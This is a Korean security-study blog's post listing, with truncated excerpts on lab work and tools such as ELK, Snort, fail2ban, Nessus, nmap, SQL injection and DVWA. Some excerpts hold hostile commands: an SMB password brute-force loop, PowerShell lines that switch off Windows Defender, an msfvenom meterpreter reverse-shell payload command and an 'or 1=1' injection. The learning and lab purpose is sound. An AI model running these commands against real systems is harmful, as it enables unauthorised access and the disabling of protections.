티스토리

IQ Spoofing
검색하기

블로그 홈

IQ Spoofing

iqsp.tistory.com/m

잉여토끼 님의 블로그입니다.

구독자
0
방명록 방문하기
공지 기술리스트 / BLOG Map 모두보기

주요 글 목록

  • ELK, ELK 설치 ELK 등장 배경모니터링ssh : 접속시 시스템정보를 제공. snmp : snmp work를 실행하여 OID값을 취합하여 정보를 확인. 단, 갱신 시간 텀이 5분이라는 단점이 존재. 트래픽이 많기 떄문. 현제는 네트워크의 속도, 서버의 퍼포먼스, 저장소 용량이 모두 증가 --> 클라우드의 등장.  클라우드로 인해 과거와 달리 다른 네트워크가 하나의 도매인으로 묶여 서버팜을 형성 시킬 수 있음. 따라서 네트워크가 대규모로 이루어짐.보안솔루션은 대부분 국지적 특성을 가짐.해당 네트워크와 도메인은 같은 지역적 위치를 가짐.--> 통합 관리가 필요하다. snmp의 Cacti나 mrtg같은 경우 부하가 심함. 이를 그나마 분산구축을 통해 부하를 줄일 수 있음.ESM(Enterprise Security Menage.. 공감수 2 댓글수 0 2024. 12. 11.
  • 레지스터 종류 프로그램의 구조.: 3개의 Sectionsection.data--> static / local 선언 및 초기화 변수가 정의되는 곳. 상수, 파일 명, 버퍼 사이즈를 선언 section .txt --> 실제 실행할 코드를 작성하는 곳 section .bbs --> 초기화가 안된 추가적인 변수가 구성되는 곳   레지스터 범용 레지스터 (4가지)RAX : A : Accumulator : 계산기       더하기 / 빼기 등 산술/논리 연산을 수행하며 함수의 return값이 저장된다.       결과값 --> 주소 RBX : B : Base : 메모리 주소를 저장하기 위한 용도로 사용된다. --> 변수       간접 번지 지정 : 참조 데이터 타입 ---> Value, 변수를 저장한다. RCX : C : Co.. 공감수 0 댓글수 0 2024. 11. 26.
  • 코드 분석(디버깅) 바이러스 / 악성코드바이러스: 시스템 내부에서 또 다른 파일을 감염시킴부트 바이러스MBR 부트 파티션을 감염시킨다. --> 포멧을 해도 살아남음트로이안 바이러스정상 프로그램의 사이에서 동작. --> 파일의 크기가 변형되는것으로 알 수 있음. 이미 감염된 파일을 다시 감염 시킬 수 있음. 이를 막기위해 특정 signiture를 넣어둠. 악성코드 레지스트리(Registry) --> 윈도우 운영에 필요한 정보가 포함된 DB레지스트리를 변경시키는 등으로 특정 시스템을 변경시킴.: 사용자에게 허가받지 않은 일련의 행동을 수행하는 프로그램  악성코드 분석 1. Process분석: 프로그램이 실행 되었을 때 동작을 통해 발생하는 시스템의 변경점을 파악 2. 파일 분석.:파일로써의 특성을 파악.(Ex : 생성일자(mt.. 공감수 0 댓글수 0 2024. 11. 26.
  • CMD를 통한 Postexploit 1. CMD 명령을 통한 공유파일(Null Section 포함) BruteForce예제 : C:\Users\TJ>for /L %i in (1230,1,1235) do net use \\172.16.1.1\smb /USER:smb %iC:\Users\TJ>net use \\172.16.1.1\smb /USER:smb 1230시스템 오류 86이(가) 생겼습니다.지정된 네트워크 암호가 맞지 않습니다.C:\Users\TJ>net use \\172.16.1.1\smb /USER:smb 1231시스템 오류 86이(가) 생겼습니다.지정된 네트워크 암호가 맞지 않습니다.C:\Users\TJ>net use \\172.16.1.1\smb /USER:smb 1232시스템 오류 86이(가) 생겼습니다.지정된 네트워크 암호가 .. 공감수 0 댓글수 0 2024. 11. 26.
  • Window Defender 해제(CMD) Powershell 이용: cmd에서 powershell을 실행"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Ignore;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction Ignore;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $.. 공감수 0 댓글수 0 2024. 11. 26.
  • MSF_venom MSF_venomMetasploit의 독립 실행형 페이로드 생성기.msfpayload 및 msfencode의 대체 도구. 옵션Useage/usr/bin/msfvenom [options]  Example/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe -o payload.exe Options-l, --list [type]에 해당하는 모든 모듈을 나열. 사용할 수 있는 유형: payloads, encoders, nops, platforms, archs, encrypt, formats, all-p, --payload 사용할 페이로드 .. 공감수 0 댓글수 0 2024. 11. 25.
  • fail2ban fail2banfail : 시스템 접근시 로그인 실패. 일정 횟수 시스템 접근 인증 실패시 해당 IP를 특정 기간동안 접근 금지시키는 툴. Installdnf --enablerepo=epel -y install fail2ban Setting참조 파일, 소켓 , 이메일 등 설정vim /etc/fail2ban/fail2ban.conf 차단 시간, 적용할 서비스, 차단 조건, 차단 해제 조건 등 설정vim /etc/fail2ban/jail.conf [sshd]enabled = truebantime = 10mfindtime = 10mmaxretry = 5[DEFAULT]# iptables 사용banaction = iptables-multiport  Starting[root@rocky-9 fail2ban]# sy.. 공감수 0 댓글수 0 2024. 11. 21.
  • Portsentry 설명Honey Pot을 통하여 해당 포트(tcp:32774)에 접근시 Port Scanning으로 판단하는 프로그램.Port Scanning으로 판단시 Shell 스크립트를 실행하도록 설정 가능. 기본적으로 route add -host [ip] reject를 통한 라우팅 테이블을 통한 응답 거부 및 TCP Wrapper를 통한 접근 제어 가능. TCP Wrapper는 IP 및 도메인 호스트 기반 ACL으로  /etc/hosts.deny, /etc/hosts.allow파일이 존재. 설치apt-get install portsentry -y 설정 옵션/etc/postsentry/postsentry.conf에 있음.# 감지할 포트TCP_PORTS="1,11,15,79,111,119,143,540,635,1080.. 공감수 0 댓글수 0 2024. 11. 21.
  • rkhunter rkhunter(Rootkit Hunter)루트킷 : 허가되지 않은 사용자가 권한이 없는 시스템에 무단으로 접근하도록 하는 도구. 권한 상승 도구.rkhunter : 현제 시스템에 존재하는 Rootkit을 탐지하는 도구 수동 검사 예시 :Racecondition의 경우 SetUID/SetGID가 필요--> find -perm -4000 -o -perm -2000 이경우 백도어/루트킷의 경우 찾아낼 수 있지만 웹 쉘 등 특수권한을 사용하지 않는 경우 탐색 불가--> 자체적인 DB를 갖추고 AV(Anti virus)와 같은 방식으로 시그니처 탐지 등으로 파일을 검증하는 프로그램이 필요 rkhunter는 DB를 통해 AV와 같은 방식으로 파일을 검증.Install / SettingInstallEpel Repo.. 공감수 0 댓글수 0 2024. 11. 21.
  • Infromation Gattering Tool - SMTP Analysis SMTP Analysissmtp-user-enumSMTP 서버에서 유효한 사용자 계정을 탐지하기 위해 사용하는 도구여러 사용자 이름 목록을 제공하여 해당 이름들이 SMTP 서버에서 유효한지 확인하고, 이를 통해 잠재적인 공격 벡터를 찾아내는 데 도움을 준다.사용법: smtp-user-enum [옵션] ( -u 사용자명 | -U 사용자명 파일 ) ( -t 호스트 | -T 대상 파일 )옵션: -m n 최대 프로세스 수 (기본값: 5) -M 모드 사용자명 추측에 사용할 방법 EXPN, VRFY 또는 RCPT (기본값: VRFY) -u 사용자 원격 시스템에서 사용자가 존재하는지 확인 -f addr MAIL FROM 이메일 주소. "RCPT TO" 모.. 공감수 0 댓글수 0 2024. 11. 15.
  • Nessus 설치 Nessus?시스템 보안 취약점 분석 도구 특징원격의 해커가 시스템에서 민감한 데이터에 접근하거나 제어할 수 있게 하는 취약점 스캔.잘못된 설정 (예를 들면 오픈 메일 릴레이, 놓친 패치 등) 스캔.시스템 계정의 기본 패스워드 그리고 빈 패스워드. 네서스는 또한 사전 공격을 수행하기 위해 외부 툴인 Hydra를 호출 가능악의적으로 조작한 패킷들을 사용하는 TCP/IP 스택에 대한 서비스 거부 공격 가능. 포트스캐너(Nmap)를 사용한 포트스캔을 수행하여 이후 공격 및 스캔을 시도. Nessus Install1. 다음 주소에서 운영체제에 맞는 파일 다운로드.여기서는 debian계열 설치 파일을 crul로 받도록 하겠다. https://www.tenable.com/downloads/nessus?_gl=1*1.. 공감수 2 댓글수 0 2024. 10. 31.
  • Metasploitable Vulnerability 스캔 결과 분석 및 Exploit Nessus를 이용하여 취약점 분석 실시 후 결과 분석 UnrealIRCd Backdoor Detection1. DescriptionThe remote IRC server is a version of UnrealIRCd with a backdoor that allows an attacker to execute arbitrary code on the affected hostIRC 서버에서 백도어가 포함된 UnrallRCd버전을 사용중이다. 백도어를 통해 호스트에서 임의의 코드를 실행 할 수 있다.  IRC(Internet Relay Chat)실시간 인터넷 채팅 프로토콜채팅 및 대화 전송, 파일 공유가능.2. Risk InformationCVSS v2.0 기본 점수: 10.0시간 점수: 8.3CVSS v2... 공감수 5 댓글수 0 2024. 10. 31.
  • Snort 기반 IPS/IDS 구축 실습 pfSence Snort Module, Security Onion Sguil, Snort을 사용하여 Snort 기반의 IPS/IDS 구축.네트워크 토폴로지 랩pfSence : Inline IPSSecurity Onion : Mirroring IDSESW3에서 SPAN을 설정. mirroring sorce --> f1/1, mirroring destination : f1/15(mirroring port)Security Onion/Ubnuntu Snort의 snort rule은 다음과 같이 설정 alert icmp any any -> any any (msg:"icmp";, sid:100002;)pfSence에서의 snort rule은 다음과 같이 설정 drop icmp 172.17.20.101 any -> .. 공감수 2 댓글수 0 2024. 10. 29.
  • Nmap nse Nmap Script Engin nse 역할Network Discovery : Host 탐색More Sophisticated and accurate OS version detection : Host 계정 및 OS탐색Vulnerablility Detection : 취약점 탐지Backdoor Detection : Backdoor 탐지Vulnerablility Exploitation : 취약점 공격Kali Path : /usr/share/nmap/scripts perl -- > python --> go --> lua 별도의 레포지토리 존재 nmap --script-updatedb scriptdns-brute.nse dns도메인의 하위 서브도메인 탐색EX) nmap -p 53 --script dns-brute... 공감수 0 댓글수 0 2024. 10. 25.
  • FTP Exploit nmap을 통한 버전 스캔┌──(root㉿kaya)-[~]└─# nmap -sV 172.16.20.14 -vStarting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 11:15 KSTNSE: Loaded 46 scripts for scanning.Initiating ARP Ping Scan at 11:15Scanning 172.16.20.14 [1 port]Completed ARP Ping Scan at 11:15, 0.04s elapsed (1 total hosts)Initiating Parallel DNS resolution of 1 host. at 11:15Completed Parallel DNS resolution of 1 host. at 11:15, .. 공감수 1 댓글수 0 2024. 10. 24.
  • XFF(X-Forwarded-For) X-Forwarded-For: , , 프록시 서버를 통해 웹 서버에 연결하는 클라이언트의 원래 IP 주소를 식별하기 위한 사실상의 표준 헤더클라이언트 연결이 정방향 또는 역방향 프록시를 통과하면 서버는 최종 프록시의 IP 주소만 볼 수 있다. 따라서 이 경우에 클라이언트 IP 주소를 제공하기 위해 X-Forwarded-For요청 헤더가 사용된다.X-Forwarded-For 헤더는 신뢰할 수 있는 역방향 프록시(예: 로드 밸런서)가 클라이언트와 서버 사이에 없는 경우 신뢰할 수 없다.--> 조작될 수 있기에 완전한 신뢰를 해서는 안된다.여러개의 XFF 헤더가 존재할 수 있음. 이를 단일 List로 처리해야함.XFF헤더를 쉼표를 사용하여 하나로 묶은 뒤 List화.XFF헤더를 List화 한뒤 List를 쉼표.. 공감수 0 댓글수 0 2024. 10. 22.
  • DVWA XSS 로그(apache/mysql) apache log : /etc/httpd/log/access.logmysql log : /var/log/mysql/mysql.log(my.cnf에서 general_log 또는 log 설정 필요)DVWAReflected(Get) 일반 사용 로그Url :http://172.16.20.14/dvwa/vulnerabilities/xss_r/?name=iqsp# Apache Log :172.16.20.1 - - [21/Oct/2024:21:21:39 -0400] "GET /dvwa/vulnerabilities/xss_r/?name=iqsp HTTP/1.1" 200 4338 "http://172.16.20.14/dvwa/vulnerabilities/xss_r/" "Mozilla/5.0 (Windows NT 10... 공감수 0 댓글수 0 2024. 10. 22.
  • Nmap nmapNetwork Mapper네트워크 탐지 및 보안 감사 도구nmap -h사용법: nmap [스캔 유형] [옵션] {대상 사양}대상 사양: 호스트 이름, IP 주소, 네트워크 등을 지정할 수 있습니다. 예: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254 -iL : 호스트/네트워크 목록에서 입력 -iR : 랜덤 대상을 선택 --exclude : 호스트/네트워크 제외 --excludefile : 파일에서 제외 목록호스트 탐지: -sL: 리스트 스캔 - 단순히 스캔할 대상을 나열합니다. -sn: 핑 스캔 - 포트 스캔 비활성화 -Pn: 모든 호스트를 온라인으로 간주 -- 호스트 탐지 건너뜀 -PS/PA/PU/PY[por.. 공감수 0 댓글수 0 2024. 10. 21.
  • Infromation Gattering Tool - SMB / Route Analysis SMB Analysisenum4linuxSamba와 Windows 시스템에 대한 정보 수집을 자동화한 도구로, 원격 시스템에서 사용 가능한 네트워크 리소스와 시스템 정보를 열거하는 데 사용Samba 패키지에 포함된 다양한 도구를 사용하여 Windows 및 Samba 서버에서 사용자, 그룹, 공유, 패스워드 정책 등을 수집사용법: ./enum4linux.pl [옵션] ip옵션들은 다음과 같다 ("enum"과 유사): -U 사용자 목록 가져오기 -M 머신 목록 가져오기* -S 공유 목록 가져오기 -P 암호 정책 정보 가져오기 -G 그룹 및 멤버 목록 가져오기 -d 상세 정보 표시, -U 및 -S에 적용.. 공감수 0 댓글수 0 2024. 10. 19.
  • Infromation Gattering Tool - DNS DNS공통 원리DNS 레코드 및 관련 정보를 시스템에 대한 표준 쿼리를 통해 정보를 수집. 이 방법은 DNS 서버에서 직접 쿼리를 실행하여 알려진 정보를 요청하여 얻는다.가능한 서브도메인 이름을 탐색하기 위해 단어 목록을 사용하여 브루트 포스를 통해 서브 도메인 탐색dnsmapDNS 서브도메인 및 네트워크 매핑 도구로, 주로 특정 도메인에 대한 서브도메인을 찾기 위해 사용주어진 단어 목록을 기반으로 가능한 서브도메인을 브루트포스 방식으로 탐색하여 발견된 서브도메인 정보를 제공 사용법: dnsmap [옵션]옵션:-w 사용할 단어 목록 파일을 지정합니다.-r 일반 결과를 저장할 파일을 지정합니다.-c 결과를 CSV 파일로 저장합니다.-d 각 요청 사이에 대기할 시간(.. 공감수 1 댓글수 0 2024. 10. 19.
  • Nicto / Sqlmap NictoCGI를 포함한 항목들을 웹 서버에 대한 포괄적 테스트 수행. 오픈소스 웹 스캐너여러 인덱스 파일 형식 확인HTTP 서버 옵션 및 서버의 프로그램(서버구성) 확인은닉성이 고려되지 않음 --> 로그 내역이 남게 됨.사용법옵션- Nikto v2.5.0---------------------------------------------------------------------------+ ERROR: No host (-host) specified Options: -ask+ Whether to ask about submitting updates yes Ask about each (default) .. 공감수 5 댓글수 0 2024. 10. 17.
  • Security Onion 위협 사냥, 네트워크 보안 모니터링 및 로그 관리를 위한 무료 개방형 플랫폼 특징 1. 로그 수집 및 분석 네트워크의 트래픽 캡쳐 및 저장, 분석기능 제공 2. IDS Snort를 설정하여 침입 탐지 가능 3. NSM 네트워크 모니터링 도구 및 인프라 제공 4. Zeek 인프라 네트워크 트래픽 분석 및 네트워크 활동 모니터링 5. VM이미지 배포 쉬운 배포 및 설치 NSM 종류 1. Bro 유닉스 기반 오픈 소스 프래임워크 네트워크 내의 이벤트 기반 모니터링에 유용함 소프트 웨어 뿐만 아닌 파일유형, 기기의 모니터링 2. Suricata 오픈소스 툴 네트워크 기반 침입 탐지 시스템(IDS) 3. Snort 오픈소스 툴 네트워크 기반 침입 탐지 시스템 (IDS) 4. OSSEC 호스트 기반 침입 탐지 시스.. 공감수 0 댓글수 0 2024. 10. 15.
  • SQLi SQL 명령문을 주입하는 공격- 다양한 조건 및 정보를 이용하여  DB의 정보를 조회하여 이용자의 웹 브라우저에 출력하는 과정에서 발생하는 소스코드의 취약점을 이용--> 조작된 SQL구문이 DBMS에 그대로 전달되어 비정상적인 DB명령을 실행한다. SQL인젝션을 위한 최소한의 조건.1. 웹 어플리케이션이 DB와 연동되어있어야함.2. 외부 입력값이 DB 쿼리문으로 사용된다.    (SQL 구문 + 사용자 입력값 + SQL구문 형태)  공격기법1. 쿼리 조건의 무력화DBMS는 쿼리에 대한 응답으로 참/거짓만을 반환    False : 0/Null    True : False가 아닌 모든 값.    EX) select id from login where id = "iqsp" or 1 = 1           .. 공감수 1 댓글수 0 2024. 10. 15.
  • Netcat netcat(nc) : TCP/UDP를 이용하여 네트워크 연결을읽거나 쓰는 명령줄 유틸리티 nc --help Ncat 7.92 ( https://nmap.org/ncat )Usage: ncat [options] [hostname] [port]Options taking a time assume seconds. Append 'ms' for milliseconds,'s' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms). -4 Use IPv4 only -6 Use IPv6 only -U, --unixsock Use Unix domain soc.. 공감수 0 댓글수 0 2024. 10. 10.
  • Commend Injection 명령어를 주입 대상 : 웹(HTTP) --> 80번 포트 --> apache deamon --> PHP/PHP-FPM사용 가능한 코드 : apache --> HTML, Script / PHP --> php server/client side code종류는 환경에 따라 바뀔 수 있음. Injection을 위해서 기본적으로 동작되는 환경을 파악할 필요가 있음. Injection 과정1. 명령어의 기본적인 동작을 확인--> 이를 활용하여 고정된 명령어(입력값)을 확인 2. 확인한 값을 이용하여 Injection이 가능한지 확인불가능 할 경우 이를 우회할 방법 탐색(Filtering 우회, Length 제한 우회 등) 3. Injection을 통해 임의의 동작을 실행.  DVWA Commend Injection .. 공감수 0 댓글수 0 2024. 10. 10.
  • snort2 오픈소스기반 IDPS(IDS+IPS)시그니처 기반 탐지 시스템 IDS(Intrusion Detection System) : 침입 탐지시스템- NIDS : IP주소를 소유하지 않음 -> 외부 접근불가    네트워크 전반 감시가 가능    자원손실 및 데이터 변조 x    침해 공격 결과를 알수 없음    암호화된 내용 검사 불가- HIDS : 운영체제에 부가적으로 설치    접근및 작업의 기록/추적가능    내부공격 탐지 유리    전체 네트워크 탐지 불가    공격대상일때만 탐지 가능 -주요기능    1. 데이터수집    2. 데이터 필터링    3. 침입탐지 : 오용/이상 탐지    4. 추적 및 대응 오탐 : False Positive미탐 : False Negative IPS (Intrusion Pr.. 공감수 1 댓글수 0 2024. 9. 24.
  • bWAPP Redhat(CentOS/Rocky) Linux에 설치 php 버전 다운그래이드 remi release 설치 dnf install -y https://rpms.remirepo.net/enterprise/remi-release-9.rpm php 모듈 리셋dnf module reset php모듈 리스트 확인dnf module list phpremi8.0을 php기본 패키지로 설정dnf module enable php:remi-8.0 -y dnf module list php8.0에 enabled 된것을 확인  php, php-clil, php-common, php-mysql, mysql, mysqlserver설치dnf install -y php php-cli php-common php-mysql mysql mysqlserverphp --version8.0확인php.. 공감수 1 댓글수 0 2024. 9. 12.
  • Longest match rule에 의한 라우팅 테이블 오염 longest match rule서브넷마스크가 더 긴 상세네트워크를 따라가게 됨  만약 위와같이 해커의 라우터(R5)의 네트워크 대역이 prifix 25로 더 길다.  R1의 라우팅 테이블을 보게 되면 10.1.2.0 경로가 두개인것을 확인 가능하다. 즉, 이 경우 longest match rule에 의해서 PC1으로 보내는 패킷은 PC2로 향하게 된다.   보는바와같이 pc1에서 ping을 보냈는데 pc2로 리플라이 패킷이 도착한것을 볼 수 있다.  이를 방지하기위해서 RIP 인증이 필요하다.다음과같이 R2와 R3에 keychain을 통한 인증을 걸어두었다.  그 결과 해커의 Router인 R5의 정보는 keychain이 등록된 인터페이스에서 등록이 되지 않는것을 볼 수 있다. 전송되는 패킷을 보면 다.. 공감수 0 댓글수 0 2024. 9. 10.
  • OWASP TOP 10 ver.2021 OWASP TOP 10-2021- 개요OWASP(Open Web Application Security Project) Top 10은 웹 애플리케이션 보안의 중요한 취약점들을 정리한 리스트로, 웹 개발자, 보안 전문가, 그리고 IT 관리자가 알아야 할 주요 보안 문제들을 다룹니다. 이 목록은 OWASP에서 주기적으로 업데이트하며, 전 세계 보안 커뮤니티와 기업들의 협업을 통해 작성된다. 최신 버전(2021)의 OWASP Top 10을 기준으로 각 항목을 설명하면 다음과 같다: A01: Broken Access Control (취약한 접근 제어)사용자가 자신의 권한을 넘어서는 데이터를 열람하거나, 불법적인 기능을 수행할 수 있도록 허용하는 문제. 예를 들어, 인증되지 않은 사용자가 관리자 권한을 가지게 되는.. 공감수 3 댓글수 1 2024. 9. 2.
  • [금취분평] 이용자 입력 정보 보호 전자금융. 이용자의 거래 입력 수단을 보호하기 위한 금융회사의 대응수단 및 적용범위 등을 점검 평가 예시 : 이용자의 거래정보 입력 보호 범위가 금웅회사가 정한 범위와 달리 적용되어 있거나 또는 일관성 확인. 이용자 거래정보 입력보호에 대응하기 위한 절차 또는 방법 존재 여부 점검. 이용자 입력정보 보호의 대표적 예시로 가상 키패드가 있다. 가상키패드는 마우스 클릭이나 화면 터치등으로 값을 입력하도록 한다. 가상키패드가 사용자 입력을 보호하는 원리는 다음과 같다. 키보드로 데이터를 입력 할 경우 이 입력값이 메모리에 저장되게 된다. 만약 피해자의 기기에 이러한 메모리값을 탈취하는 악성 코드가 심어져 있다고 가정해보자. 그렇다면 키보드로 입력한 값들이 전부 탈취되게 되는 것이다. 가상 키패드의 경우에는 버.. 공감수 0 댓글수 0 2023. 7. 21.
    문의안내
    • 티스토리
    • 로그인
    • 고객센터

    티스토리는 카카오에서 사랑을 담아 만듭니다.

    © Kakao Corp.